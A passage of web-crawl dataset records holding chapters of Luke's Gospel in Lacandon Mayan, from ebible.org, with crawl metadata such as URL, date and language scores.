ya'arob:\n―Tub a c'at ic chʌquex? Arej to'on tuba?\n10 Jesús caj ya'araj ti'ob:\n―U'yex ba' quin waquex techex. Ca' bin oquechex ich u cajar, je' a wiriquex xib turiri', u c'ochmʌn u p'urir yoch ja'. Sayenex tu pach hasta ca wiric tu cu yocar tu yatoch a ca' ts'ap yatocho'. Quet a wocarex yejer. 11 Arej ti' mac yʌnin yatoch: \"Ij cʌjcamsʌyʌjirex caj u ya'araj tenob ca' in c'atejob a watoch junxot' soc p'eri' quin janʌnob yejer in camsawinic quir in c'ʌ'oticob u q'uinin pascua.\" 12 A mac yʌnin yatoch ―quij Jesús―, je' u yestic techex junxot' yatoch tu ca' ts'ap, toc yʌn u pojche'ir tu cu janʌn. Toc yʌn u cutan xan. Ti taro' ca chʌquiquex ij cochex.\n13 Caj binob u camsʌwinicob Jesús caj yirob an ten bic Jesús caj u ya'araj ti'ob, caj u chʌcob yo'och quir u qui' janʌnob quir u c'ʌ'oticob u q'uinin pascua.\n14 Caj c'uchij tu q'uinin u janticob yoch u q'uinin pascua caj curaj Jesús baxuc u camsʌwinicob. 15 Jesús caj u ya'araj ti' u camsʌwinicob:\n―Caj in jach pachtaj in jantej yoch tu q'uinin pascua yejerechex. Mʌ' toy muc'yajnʌquen. 16 Quin wac techex ca' bin ts'ocac in jantic a je'ra'. Mʌ' jin yʌn yʌn ca' jantic hasta ca' bin c'uchuc tu q'uinin cu reyinticob C'uj. A ra' u q'uinino' quin ca' jantic.\n17 Caj ts'a'b ti' Jesús u c'ab uva ich ruch caj u pe'aj. Caj u ya'araj ti' C'uj:\n―Bayo' C'uj.\nCaj ts'oc ya'aric aro' caj u ts'aj ti' u camsʌwinicob, caj ya'araj ti'ob:\n―Ca' ca' xot' a wuq'uiquex. 18 Quin wac techex tin toc uc'aj a je'ra'. Mʌ' in yʌn yʌn uq'uej hasta ca' bin c'uchuc tu q'uinin u reyinticob C'uj. Je' in ca' uq'uique'.\n19 Caj u chuca yoch pan caj u mʌchaj caj u ya'araj:\n―Bayo' C'uj.\nCaj ts'oc ya'aric aro' caj u xat'aj caj u jʌsej ti'ob u camsʌwinicob. Caj u ya'araj ti'ob:\n―A je' a woch pana', raji' in winquirir quir in c'ubʌr techex soc in quinsa'. Baxuc yʌn a jantiquex soc a c'ʌ'otiquex u q'uinin tu quimen.\n20 Caj ts'oc u rʌc janʌnob yoch u q'uinin pascua ca' u pe'aj a rucho' xan caj ya'araj ti'ob:\n―Tucrex a je'ra' u c'ab uva, raji' in q'uiq'uer. Irej bin u ca' joc'ar in q'uiq'uir tu quin quinsa', u bo'orir a si'pirirex. Soc toc ric'ben an ten bic caj in toc araj techex. Mʌ' ja wirej, u t'ʌn Moisés ruc'sabij soc yʌn u jer ric'ben a jach manan tsoy.\n21 Caj ya'araj Jesús:\n―Taj quin wac techex a mac cu bin u c'ubiquene' p'eri' cu janʌn yejero'on baje'rer. Raji' cu bin u c'ubiquen ti' mac quir in quinsa'. 22 A teno', yʌn in quinsa' a teno', baxuquenechexo'. An ten bic caj u toc araj C'uj uch. Chen jach otsir a mac a cu c'ubiquen.\n23 Caj u yʌnxchun u pacran c'aticob u camsʌwinicob Jesús. Caj ya'arajob mac cu bin c'ubic Jesús.\nJesús cu camsic a mac jach no'j ʌcʌtan tu wich C'uj\n24 U camsʌwinicob caj u pacran ts'ictarob soc yiricob a mac jach no'j ich u rac'ob. 25 Jesús caj ya'araj ti'ob:\n―Ich yoc'ocab a reyo' ti' jujuntur u ru'umin, cu ts'urintic u winiquirob. U c'at u winiquirob ca' ya'arejob ti' ca' yamtac a reyo'. Baxuc u ca' ts'urir u c'at yubejob xan. 26 Aro' mʌ' baxuc ca betiquex. A mac jach no'j ich techex, arej mʌ' u pachtej yubej ya'ara' jach no'jech ten u rac'ob. Wa ca wocar techex a ts'urintic tu cu c'ujintic C'uj toc yʌn a yamtiquex a rac'ob. 27 Qui' tucrex a ba' quin wac techex. Mac jach no'je', wa ra' cu janʌn ich u pojche'ir u janʌn? Wa ra' jach no'j a cu beyaj ti'? Mʌ' ja wirej, a mac a cu cutar tu pojche'ir u janʌn, raji' jach no'j. Chen a teno' cax a ts'urirenex ti' yʌnen ich techex quir in beyaj techex.\n28 Jesús caj u ya'araj ti' u camsʌwinicob:\n―Techex rajra' ti' yʌnechex tu yʌnen mʌ' ja p'ʌtenexi' p'eri' quic muc'tiquex a ba' cu tar to'onex uch. 29 An ten bic in Tet C'uj caj u teten quir in reyintic. Baxuc techex in tetiquechex quir a wocarex a reyintiquex. 30 Baxuc quin tetic techex soc p'eri' quic janʌnex. Baxuc p'eri' ij cuc'urex tu pojche'ir ca' bin c'uchuc tu q'uinin in reyintic. Quin bin in wacsiquechex a reyintiquex a wet winiquirob judío a doce u yo'nen u winiquirob Israel.\nJesús caj ya'araj ti' Pedro: Je' a wa'aric mʌ' a c'ʌ'oreni'\n(Mt. 26.31‑35; Mr. 14.27‑31; Jn. 13.36‑38)\n31 Jesús caj ya'araj ti' Pedro:\n―Wa mac cu chachtic yo'och cu p'atʌr u bʌq'uer chen u soro' cu puric. Baxuquech Simón ―quen―, a quisino' caj u c'ataj ti' C'uj quir u tumtic a wor soc yiric wa taj caj a wacsaj ta wor. 32 Chen a teno' caj in t'ʌnaj C'uj ti' tech soc mʌ' a p'ʌtic a wacsic ta wor ten. Ca' bin ts'ocac a c'axic a wor toc chichquintej yor a wet camsʌwinicob a te' yʌna'.\n33 Pedro caj ya'araj:\n―Jaj Ts'urir ―quij―, tin toc ch'uctic in bin yejerech tu cu ma'cʌr winic cax quet ij quimin.\n34 Jesús caj ya'araj ti' Pedro:\n―Taj quin wa'aric tech. Mʌ' toy c'ʌynʌc cax baje'rer ac'bir. Mʌna' u nup ca bin a wa'aric mʌ' a c'ʌ'oreni'. Cu ts'ocor a wac mʌ' a c'ʌ'oreni' cu bin u c'ay cax.\nJesús caj ya'araj: Tabar u q'uinin in muc'yaj\n35 Jesús caj u c'ataj ti' u camsʌwinicob:\n―Caj in tuchi'techex ca'ch quir a tsec'tiquex in t'ʌn. Cax mʌna' a chimex. Cax mʌna' a taq'uinex cax mʌna' a xanabex. Yʌn wa ba' a c'atex ca'ch?\nU camsʌwinicob caj u nuncajob:\n―Mʌna' ba' in c'atob.\n36 Jesús caj ya'araj ti'ob:\n―Chen baje'rer, wa yʌn a taq'uinex toc ch'a'ex. Baxuc wa yʌn a chimex toc ch'a'ex. Wa mʌna' techex a mascab canex u ca' yarir a noc' quir a mʌnic turiri' a mascab. 37 Mʌ' ja wirej ―quij Jesús―, ti' ts'iba'an ich u t'ʌn C'uj uch, caj ya'araj: \"A winiquirob caj ya'araj chen c'as a ray xibo'.\" Aro' ―quij Jesús―, quin wac techex. Yʌn in nupsej quire' tabar in quinsa'.\n38 Caj ya'arob u camsʌwinic:\n―Jaj Ts'urir ―quij―, a je' mascaba' ca'tura'.\nJesús caj ya'araj ti'ob:\n―Ti' ti' a mascabex.\nJesús cu t'ʌnic C'uj ich u p'uc witsir u c'aba' Olivos\n(Mt. 26.36‑46; Mr. 14.32‑42)\n39 Jesús caj joc' ich u cajar caj binij an ten bic nanij u bin ich u p'uc witsir u c'aba' Olivos. Yet binac u camsʌwinicob. 40 Caj c'uchij tu nanij u bin, caj ya'araj ti' u camsʌwinicob:\n―T'ʌnex C'uj soc mʌ' u cha'ba' u tar tumbir a worex.\n41 Jesús caj joc' nanach an ten bic mun nachir cu rubur tunich a cu ch'inin ten mac. Caj xonrʌj quir u t'ʌnic C'uj. 42 Jesús caj ya'araj:\n―In Tetech C'uj ―quij―, wa ra' cu qui'quintic a wor quir a ts'icten a ba' in c'at, ruc'sej a je' muc'yaja' a cu bin tar ten. Wa ra' a c'at ca' muc'yajnʌquen je' in muc'yaje' quire' in c'at in betic a ba' a c'at tech.\n43 Caj tar turiri' yʌjmasir u t'ʌn C'uj ich Jesús quir u ts'abʌr u muc' ti'. 44 Caj jach muc'yajnʌjij Jesús caj u yʌnxchun u muc'yaj jach manan tu cu t'ʌnic C'uj. Tan u jach chichquintic u t'ʌnic C'uj hasta cu q'uicab. U q'uicabe' irej u q'uiq'uer cu ch'ojar ich ru'um. Jach carem u ch'ojar.\n45 Caj riq'uij tub xonrʌj tu cu t'ʌnic C'uj. Caj bin ich u camsʌwinicob caj yiraj tan u wenʌnob quire' mʌ' qui' yorobi'. 46 Jesús caj ya'araj ti'ob:\n―Mʌ' a yʌn wenʌnex. Ca' a ch'ictarex soc a yʌn t'ʌniquex C'uj soc mʌ' u cha'bʌr u tar tumbir a worex.\nChuc Jesús\n(Mt. 26.47‑56; Mr. 14.43‑50; Jn. 18.2‑11)\n47 Ti' toy cu tsicbar Jesús. Caj c'uchob a pimob quire' pay ten Judas. Raji' turiri' ich camsʌwinicob a docejo'. Caj u nʌts' u bʌj Judas quir u ts'uts'ic u p'uc Jesús. 48 Caj ya'araj Jesús ti' Judas:\n―Tan wa ja ts'uts'ic in p'uc quir a c'ubiquen ti' a mac a cu p'actiquenob? A teno' baxuquenechexo' C'uj.\n49 U camsʌwinicob a ti' yʌn yicnan Jesús caj u yirob ba' u ber ti', caj u ya'arob ti' Jesús:\n―Arej to'on Jaj Ts'urir ca' ts'icaco'on yejerob ca' ic ch'ʌquej u car yejer mascab.\n50 Turiri' u camsʌwinicob caj u ch'ʌcaj u xiquin, raji' u c'urew u jach ts'urir sacerdote. Caj u rac ch'ʌctaj u xiquin, tu noj. 51 Jesús caj ya'araj ti':\n―Tsire'ej, mʌ' a ch'ʌquiquex.\nJesús caj u tʌra u xiquin u c'urew u jach ts'urir sacerdote caj jawij u xiquin tu ch'aquij. 52 Jesús caj ya'araj ti'ob u jach ts'urirob sacerdote yejer u yʌjt'ʌnin policía ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío, yejer u jach ts'urirob u cajar u winiquirob judío. Quire' tarob u chuquejob Jesús. Caj ya'araj Jesús:\n―Tarechex a chuquiquenex yejer a mascabex yejer che'. Irej wa yʌja'crʌyʌjiren ba', ca chuquiquenex. 53 Rajra' ti' yʌnen ich carem naj uch. Tan in camsicob, chen mʌ' ta chuquenex. Chen tarechex a chuquenex quire' c'uchij tin q'uin. An ten bic C'uj caj ya'araj uch. C'uchij tin q'uin xan, quire' baxuc u c'at a quisino' a mac a cu ts'urintic a mac a cu man ich yac'birir quire' ra' u si'pirob.\nPedro cu ya'aric mʌ' u c'ʌ'otic Jesús\n(Mt. 26.57‑58, 69‑75; Mr. 14.53‑54, 66‑72; Jn. 18.12‑18, 25‑27)\n54 Caj u chucob Jesús caj u mʌchob u c'ʌb caj binob u purej ich yatoch u jach ts'urir sacerdote. Chen Pedro caj tar tu pach Jesús chen nach cu xur. 55 Caj c'uchob caj ocob tu re'a'an u chi' naj. Ti' tu t'ʌbaj u q'uich chumuc. Caj curajob tu q'uich. P'eri' yejer Pedro. 56 Ti' yʌn xquic u c'urew u jach ts'urir sacerdote caj irir Pedro ti' cura'an q'uich ich chi' c'ac'. Caj u qui' pʌctaj caj u ya'araj ti' a mac ti' yʌnob:\n―A je' xiba' u yet man Jesús uch.\n57 Pedro caj ya'araj:\n―Xquic ―quen―, mʌ' in c'ʌ'ormʌni'.\n58 Sasam caj irir Pedro ten u jer caj ara'b ten xib ti' Pedro:\n―A techo' ―quij―, caj a chaj nupintej Jesús ca'ch, ti' yʌnech yejer Jesús uch.\nChen Pedro caj ya'araj ti' xib:\n―Mʌ' teni'.\n59 Caj manij turiri' hora caj c'uch u jer xib caj chich ara'b ti' u rac'ob:\n―Taj a je' xiba' ti' yʌn ich Jesús uch. Quire' ti' u tar ich u ru'umin Galilea quire' baxuc u t'ʌnobob.\n60 Chen Pedro caj ya'araj ti' xib:\n―Mʌ' in wer mac a ca wa'arico'.\nTi' toy cu tsicbar Pedro, seb caj c'aynʌj cax. 61 A Jaj Ts'uro' caj u sut u bʌj u pʌcaj Pedro. Pedro caj c'aj ti' a ba' ara'b ti' ten Jesús ca'ch. An bic caj ya'araj Jesús: \"Mʌ' toy c'aynʌc a caxo' mʌna' u nup ca bin a wac mʌ' a c'ʌ'oreni'.\" 62 Caj joc' Pedro ich yatoch u jach ts'urir sacerdote caj chich oc'nʌjij quire' tucur u ca'.\nP'asta'b Jesús jats' xan\n(Mt. 26.67‑68; Mr. 14.65)\n63 A policíajo' a cu beyajob ich carem naj tu cu naj c'ujinticob C'uj a ju chucmʌnob Jesús caj u yʌnxchun u p'asticob Jesús tan u jʌts'icob xan. 64 Robob tu pixob u wich Jesús caj u raxob caj u ya'arob ti':\n―Quire' yʌjtseq'uirech u t'ʌn C'uj, arej tenob mac tu raxech?\n65 Caj ya'arob ya'ab ba' tu cu p'asticob Jesús.\nTu cotorob u ts'urirob u winiquirob judío cu ta'quicob u jo'r Jesús\n(Mt. 26.59‑66; Mr. 14.55‑64; Jn. 18.19‑24)\n66 Caj sasij caj u much'quintajob u bʌj u ts'urirob u winiquirob judío. Quet baxucob u ts'urirob sacerdote yejer yʌjcamsʌyʌjirob u t'ʌn Moisés. Caj u much'quintajob u bʌj quir u ta'quicob u jo'r Jesús. Robob caj u pʌyob ca' tac Jesús. Caj c'uchij Jesús caj u c'atob ti' Jesús:\n67 ―Wa Cristojech caj u tuchi'tech C'uj, arej tenob?\nChen Jesús caj u nuncaj ti'ob, caj ya'araj:\n―Wa quin wa'aric Cristojen caj u tuchi'ten C'uj, mʌ' ja bin a wacsiquex ta worex ten. 68 Wa quin c'atiquex techex ba', mʌ' a bin a nunquiquex ten. 69 Ca' bin ts'ocac in riq'uir tin quimirir ti' quin bin in cutar tu noj C'uj soc ten cu bin u ts'urintiquen tu cotor mac. P'eri' quin ts'urintic yejer C'uj a caj u tuchi'tajen C'uj.\n70 Tu cotor u ts'urirob u winiquirob judío caj u c'atajob:\n―Arej tenob wa ju jach pararech C'uj?\nJesús caj u nuncaj ti'ob:\n―An ten bic caj a wa'arex sam, raji'en.\n71 Caj ya'arob:\n―Ba' wir u jer yʌjta'quic u jo'r. Tic toc u'yaj. Poch' u ca' quire' u bʌjiri' caj u ya'araj.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/lacNT\/LUK22.htm","date":"2022-08-15T06:11:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572161.46\/warc\/CC-MAIN-20220815054743-20220815084743-00320.warc.gz","language":"lac","language_score":1.0000035763,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000035762786865}","num_words":2275,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.303,"stopwords_ratio":0.467,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"7\nJesús cu jawsic u c'urew yʌjt'ʌnir cien u winiquirob soldado romano\n(Mt. 8.5‑13)\n1 Jesús caj ts'oc u camsic a pimo' a je' t'ʌna', caj bin ich u cajar Capernaum. 2 Ti' yʌn ich u cajar Capernaum u capitán u soldado u winiquirob romano. Raji' yʌn u c'urew, u yaj u c'urew, tabar u quimin u c'urew. 3 Caj yubaj ya'ara' capitán, ti' yʌn Jesús. Caj tuchi'ta'b jun yarob u jach ts'urirob u winiquirob judío, a nuxibe', caj chich pa'ay Jesús ca' tac jawsa'bir u c'urew capitán. 4 Caj u juts'ob u bʌj ich Jesús caj u yʌnxchun u chich pʌyicob Jesús, caj ya'arob ti' Jesús:\n―Cojen ca' a jawsej u c'urew capitán quire' jach tsoy a je' capitáno'. Raji' tsoy ca' a yamtej ti'. 5 Quire' a capitáno' cu yajquintic u winiquirob judío. Mʌ' ja wirej, u bʌjiri' caj u bo'otaj yʌjc'ʌxirob naj tu quij c'ujintic C'uj ―baxuc caj ara'b yʌjpʌyirob Jesús.\n6 Jesús caj bin yejerob. Bʌytʌc u c'uchurob Jesús ich yatoch capitán caj tuchi'ta'b t'ʌnbir Jesús u rac'ob capitán. Caj ya'arob:\n―Tsire'ej, cax mʌ' a wocar tin watoch ti tar a xuro' ich tancab. A teno' mʌ' pataren quir in wacsiquech. 7 Rajen mʌ' joq'uen in t'ʌnech quire' in wer mʌ' tsoyen. Chen arej ti' ca' jawac in c'urew. 8 Mʌ' ja wirej, quin chen quibic u t'ʌn in jach ts'urob. Bayiri' a teno' xan, quin ts'urintic soldado u winiquirob romano. Rajen wa quin wa'aric ti' mac ca' xic, cu bin. Quin wac ti' u jer, ca' tac, cu tar. Wa quin wac ti' in c'urew u betej, cu betic. Rajen in wer wa ca waric u jawʌr in c'urew cu jawʌr ―baxuc caj ara'b ti' Jesús ten capitán.\n9 Caj yuba Jesús aro' caj jaq'uij yor caj yuba bic tabar caj u yacsaj tu yor capitán. Rajen Jesús caj u sut u bʌj tu pach soc u t'ʌnic a mac a cu tarob tu pach. Jesús caj ya'araj ti'ob:\n―A teno' quin wac techex, mʌ' biq'uin in wiramʌn yacsic tu yor cax ich u winiquirob judío, an ten bic a je' xiba' caj u yacsaj tu yor ―baxuc caj ara'b ten Jesús.\n10 Caj wʌc'ʌs urob ich yatoch a tuchi'ta'bob ten capitán caj yirob jawij u c'urew capitán.\nA Jesúse' caj u ric'saj u parar a quimen u mame'\n11 Caj ts'oc u jawsa'r u c'urew capitán caj bin Jesús ich u chan cajar Naín. Ra' u c'aba' Naín. Yet binacob u camsʌwinicob yejer a pimob. 12 Tabar u c'uchur Jesús ich u cajar Naín, tu jo'rir u pa'te'ir tunich, tan u joc'sa'rob u baquer quir u mucur. Raji' u parar a xquico', a quimen u mamo'. Turiri' u parar. Yet taracob a pim u rac'ob. 13 Jesús caj yiraj a xquico', a quimen u mamo', caj yajquinta'b ten Jesús. Caj ara'b ti':\n―Mʌ' a wac'tic a parar xib ―quij Jesús.\n14 Jesús caj u juts' u bʌj tʌrbir tu but'a'an u baquer tu c'ocha'an ten u rac'ob. Caj xurob yʌjc'ochirob u baquer. Jesús caj ya'araj ti' a quimen a chichano':\n―Riq'uen, quen.\n15 A quimen ca'che' caj riq'uij cutar, caj u yʌnxchun u tsicbar yejer u rac'ob. Caj ts'a'b ti' u nʌ' ten Jesús. 16 Caj yirob aro' caj u jach ch'ajob sajaquirob, caj u yʌnxchun ya'aricob ti' C'uj:\n―Jach caremech C'uj. Caj a tuchi'taj u jer yʌjtseq'uir u t'ʌn C'uj a mac jach carem. Caj tar C'uj quir u yamtic u winiquirob israel ―baxuc caj ya'arob.\n17 Caj u jumintajob ich u rac'ob bic tabar caj u ric'saj Jesús u chan parar xib a xquico', a quimen u mamo'. Caj u rʌc jumintajob ich tu cotor u cajarob u ru'umin Judea. Baxuc tantanxer caj u rʌc jumintajob.\nA mac tuchi'ta'b ten Juan a cu yacsic ja' tu jo'r mac\n(Mt. 11.2‑19)\n18 U camsʌwinicob Juan caj u yubob u juminta' u carem beyajob Jesús. Caj binob arbir ti' Juan. 19 A Juano' caj u pʌyaj ca'tur u camsʌwinicob ca' u tuchi'tejob ich Jesús quir u c'ata'r ti' Jesús:\n―Wa jach taj raji' Cristo a cu bin tar ich C'uj? Wa yʌn ic pajic u jer?\n20 Caj c'uchob u camsʌwinicob Juan ich Jesús. Caj ya'arob ti' Jesús:\n―Tu tuchi'tenob Juan ra' cu yacsic ja' tu jo'r mac quir in c'atob tech. Wa jach Cristojech a cu tar ich C'uj wa ca' in pajob u jer? ―baxuc caj ya'arob.\n21 Caj c'uchob ich Jesús caj u jawsaj a mac yʌn u yajirir cax a bar yajir yʌnob ti'. A mac yʌn u c'ac'as quisinin caj u joc'saj. A mac ch'op u wich caj u jawsa caj sasichʌj u wich. 22 Jesús caj ts'oc yubic biquinin tarob u camsʌwinicob Juan, caj u nuncaj ti'ob:\n―Xen arex ti' Juan bic tabar ta wirex in jawsic a ch'opo' caj sasichʌj u wich, a mech yoc caj jawij caj ximbajnʌj. Bayiri' caj jaw ti' a iq'uir u ca'o'. Bayiri' a macar u xiquin caj jawi caj sasichʌj u xiquin. Bayiri' a mac quimen caj ric'. Bayiri' caj a wu'yex in tsec'tic ti' u t'ʌn C'uj a jach otsirob. 23 Ca' bin xiquechex ich Juan: Arex ti' jach qui' yor a mac a yacsic tu yor wa tu tuchi'tajen C'uj ―quij Jesús.\n24 Caj binob u camsʌwinic Juan. Caj wʌc'ʌs bin Jesús quir u tsicbar ti' a pimo'. Caj u tsicbʌtaj bic tabar Juan. Caj u c'ataj ti'ob a pimo' Jesús:\n―Mac binechex a wirex ich tʌcay ru'um uch? Mʌ' wa ta wirex Juan a seb cu quibic ba'? Mʌ' binechex a wirex mac a seb cu quibic ba'. 25 Mʌ' binechex a wirex turiri' xib a ju buquimʌn noc' irej wa neyʌn u taq'uin a cu buquintic u noc'. Mʌ' ja wirej, a mac cu nebuquintic u jach tsoyir u noc' ti' cʌja'anob ich u palacio rey. Robob cu qui' janʌnob xan. Mʌ' a bin a wirex irej wa Juan ich tʌcay ru'um. 26 Binechex a wirex yʌjtseq'uir u t'ʌn. Rajen binechex soc a wirejex yʌjtseq'uir u t'ʌn C'uj. Caj binechex a wirex Juan mʌ' chen yʌjtseq'uir u t'ʌn C'uj, quire' raji' caj u payaj in ber. Raji' irej Elías. 27 Raji' Juan a tsec'ta'b ich u t'ʌn C'uj tu ts'iba'an tu cu ya'aric:\nYʌn in tuchi'tic, quij C'uj, a mac cu ya'aric in tar, raji' yʌjtseq'uir in t'ʌn cu bin u pʌyic in ber tu cu tsec'tic u t'ʌn C'uj.\nBaxuc C'uj caj ya'araj ti' u yʌjtseq'uir u t'ʌn C'uj uch, caj u ts'ibtaj uch. 28 Tu cotor a mac ti' yʌn ich yoc'ocab mʌna' mac jach carem chen jari' Juan jach carem. Raji' cu yacsic ja' tu jo'r mac. Chen a mac a cu cha'ic C'uj u ts'urintic, cax mʌ' no'j tera', ca' bin u c'uchuc tu q'uinin je' u bin u qui' najtej u t'ʌn C'uj. Jach manan cu bin u najtej u t'ʌn C'uj. A Juano' c'ʌs ti' ti' cu najtic.\n29 Chʌc yʌn yʌjc'amirob u taq'uin gobernador yejer u jerob u rac'ob, a yacsa'b ja' tu jo'rob ten Juan, caj u c'ʌ'otajob jach c'asob ʌcʌtan tu wich C'uj. Caj yubob u t'ʌn Jesús caj u ya'araj:\n―Jach carem C'uj. Quire' acsa'b ja' tu jo'rob ten Juan.\n30 Chen u winiquirob judío a fariseojo' yejer yʌjcamsʌyʌjirob u t'ʌn Moisés, raji'ob mʌ' acsa'b ja' tu jo'r ten Juan quire' caj u p'astob C'uj a ba' u c'at C'uj ti'ob. 31 A Jaj Ts'ur caj u ya'araj ti'ob:\n―Bic tabar quin quetquintic quir in camsic a mac cuxa'an baje'rer? Bic tabar quin wa'aric ti'ob quire' chich u jo'rob?\n32 Jesús caj ya'araj ti'ob:\n―Bin in quetquintic techex irex a chichan cu yac'ticob cu jenjen t'ʌnticob u yet chichinin cu tus aricob quire' mʌna' ba' cu qui'quinticob yorob: \"Ca' ic tus aric ic ch'ic ic rac'. Chen mʌ' a tus ʌrʌc'ʌncʌr Cojen ca' ʌrʌc'nʌco'on. Ca' ic tus arej ic muc u baquer mac. Cheno' mʌ' a tus ʌrʌc'ʌncʌr\", baxuc cu ya'aricob a chicano' tu cu mʌnicob yoch u tet. 33 Mʌ' ja wirej, caj tar Juan ra' cu yacsic ja' tu jo'r mac, mʌ' nanij u nequi' janʌn, mʌ' ju yuq'uic u c'ab uva. Chen techex ca wa'ariquex ti' Juan yʌn u c'ac'as quisinin. 34 Caj taren a teno' ―quij Jesús―, a baxuquenechexo'. Mʌ' wirej, a teno' ca wa'ariquex rajra' quin nejanʌn bayiri' ca wa'ariquex quin ne uc'ur. Bayiri' ca waquex jach coch in nʌc' ca waquex quin jach carchʌjʌr. Ca waquex in wet man yʌjc'ʌminob u taq'uin gobernador. Bayiri' ca waquex in wet man a neyʌn u si'pirob. 35 A mac caj u yacsaj tu yor ti' C'uj. Cu ts'abʌr u t'ʌnin ten C'uj soc u jach er u camsa'r. Rajen ij quer taj yor C'uj.\nJesús ti' yʌn ich yatoch Simón, raji' turi' u winiquir judío a fariseojo'\n36 Turiri' u winiquir judío a fariseojo' caj pa'ay Jesús quir u janʌn. Jesús caj bin tu yatoch. Caj curaj janʌn ich u poche'ir yo'och. 37 Caj u yubaj xquic ti' cu bin Jesús ich yatoch u winiquir judío a fariseojo' quir u janʌn. A xquico' raji' yʌn u si'pir. Caj tar purbir u cuchir ti' t'aja'an a qui' u boque'. U c'aba' u cuchir alabastro. Tunich u cuchir tu t'aja'an a qui' u boque'. 38 Caj u juts'a u bʌj a xquico' ich yoc Jesús. Caj u yʌnxchun u yac'tic u bʌj a xquico' caj p'ob yoc Jesús yejer u wʌc'ʌs arir u wich tu cu yoc'ar. Caj u tisa yoc Jesús yejer u wʌc'ʌs tsotser u jo'r xquic. Tan u ts'u'ts'ar yoc Jesús ten xquic. Caj u jic'taj ich yoc Jesús a qui' u boque'. 39 A winiquir judío a fariseojo' a mac caj u pʌyaj Jesús caj yiraj a ba' caj u betaj xquic. Tu yor caj u tucraj a fariseojo': \"Wa Jesús u jach ʌjtseq'uir u t'ʌn C'uj yer Jesús yʌn u si'pir a xquico'.\" 40 Jesús caj ya'araj ti' u winiquir judío a fariseojo', u c'aba' Simón:\n―Yʌn ba' quin wac tech.\nCaj u nunca Simón:\n―Arej ten ba' ca bin a wa'arej in wʌjcamsʌyʌjirech.\n41 Jesús caj ya'araj ti' Simón:\n―A ca'tur xibe' yʌn u bo'or quire' caj u mʌjʌntajob taq'uin ti' a mac cu mʌjʌntic taq'uin. Turi' caj u p'axaj cincuenta denarios, ra' u c'aba' u sʌc taq'uin. U rac'ob caj u p'axaj quinientos sʌc taq'uin. 42 A je' ca'tur xiba' mʌ' c'ucha'an yorob u bo'oticob u bo'orob. A tu mʌjʌntajob uch caj u ya'araj ti'ob: \"Tsire'ej, cax mʌ' a bo'otiquex.\"\nCaj ya'araj Jesús:\n―Arej ten mac jach manan cu bin yajquintej a ra' xibo'. A jach ya'ab u bo'or wa ja mʌ' neya'ab u bo'or cu bin u jach yajquintej?\n43 Caj u nuncaj Simón:\n―Jaj ixtʌcoj, a mac jach ya'ab u bo'or, raji' cu jach bin yajquinbir.\nJesús caj ya'araj:\n―Taj a ba' caj a wa'araj.\n44 Caj u sut u bʌj quir u pʌctic xquic Jesús. Caj u ya'araj ti' Simón:\n―Ca wiric, a je' xquica' a ba' caj u betaj ten. Tech, caj a wacsajen ta watoch, mʌ' ta ts'ajten ja' quir in p'o'ic in woc. Chen a je' xquica' caj u p'oj in woc yejer u ya'arir u wich. Caj u tisaj yejer u tsotser u jo'r. 45 A techo', mʌ' ta wuts'benteno', cax ra' nanij u betic u winiquirob judío a cu yacsic tu yatoch. Chen a je' xquica' rajra' cu yuts'bentic in woc. Mʌ' ja wirej, cu qui' sʌjtiquen. 46 A techo', mʌ' ta jic'taj tsats tin jo'ri' an ten bic nanij u betic u winiquirob judío a cu yacsic tu yatoch. Chen a je' xquica' caj u jic'taj a qui' u boque' ich in woc. 47 Rajen quin wa'aric tech cax ya'ab u si'pir caj in toc rʌc jawsaj rajen ya'ab cu yajquintiquen. A mac a mʌ' neya'ab u si'pir cax jawsa'b u si'pir, mʌ' u qui' yajquinten.\n48 Caj ya'araj ti' xquic:\n―A techo' rʌc jawsa'b a si'pir.\n49 Ti' rʌc cura'anob janʌnob caj yʌnxchun ya'aricob ich u rac'ob:\n―Ba' winquirir a je'ra' c'ucha'an yor u jawsic u si'pir mac?\n50 Caj ya'araj ti' xquic Jesús:\n―C'uj bin u tacajech quire' caj a wacsaj ta wor. Ca' xiquech ta watoch qui'quintej a wor ―baxuc caj ya'araj Jesús ti'.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/lacNT\/LUK07.htm","date":"2022-08-17T20:20:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573104.24\/warc\/CC-MAIN-20220817183340-20220817213340-00423.warc.gz","language":"lac","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000050067901611}","num_words":1954,"character_repetition_ratio":0.061,"word_repetition_ratio":0.006,"special_characters_ratio":0.288,"stopwords_ratio":0.49,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"11\nJesús cu camsic bic tabar ic t'ʌnic C'uj\n(Mt. 6.9‑15; 7.7‑11)\n1 Ti' yʌn Jesús tu cu t'ʌnic C'uj uch caj ts'oc u t'ʌnic C'uj caj c'uchob u camsʌwinicob Jesús turi'. Caj ya'araj ti':\n―Jach Ts'urir ―quij―, camsenob bic in t'ʌnicob C'uj an ten bic Juan caj u camsaj u camsʌwinicob.\n2 Caj nunca'b ti'ob ten Jesús:\n―Ca' binex a t'ʌniquex C'uj. Baxuc a je'ra' ca waquex ti':\nIn Tetob a mac ti' yʌno' ich ca'anan. Quin c'atob soc tu cotor mac cu c'ujintiquech. Quin c'aticob tech ca' bin c'uchuc tu q'uinin ca' bin a reyintej ich yoc'ocab. 3 Chan chuquej tenob in woch soc ti'bir yʌn tenob ti' u q'uinin baje'rer. 4 Jawsej tenob in si'pirob a ba' si'pir caj in betajob quire' quin jawsicob u si'pirob in rac'ob cax a ba' c'asir caj u betajob ten xan. Mʌ' ja cha'ic in binob tu quin pʌyicob in si'pirob. Mʌ' ja cha'ic in ts'urinticob a ba' quin pachticob tin worob a c'aso'.\n5 Jesús caj ya'araj ti' u camsʌwinicob:\n―Qui' tucrej a ba' u ber wa ca' bin xiquech tu yʌn a ju yajech cax chumuc ac'bir ti' ca bin a c'atic ti'. Ca wa'aric ti': \"Chan chuquej 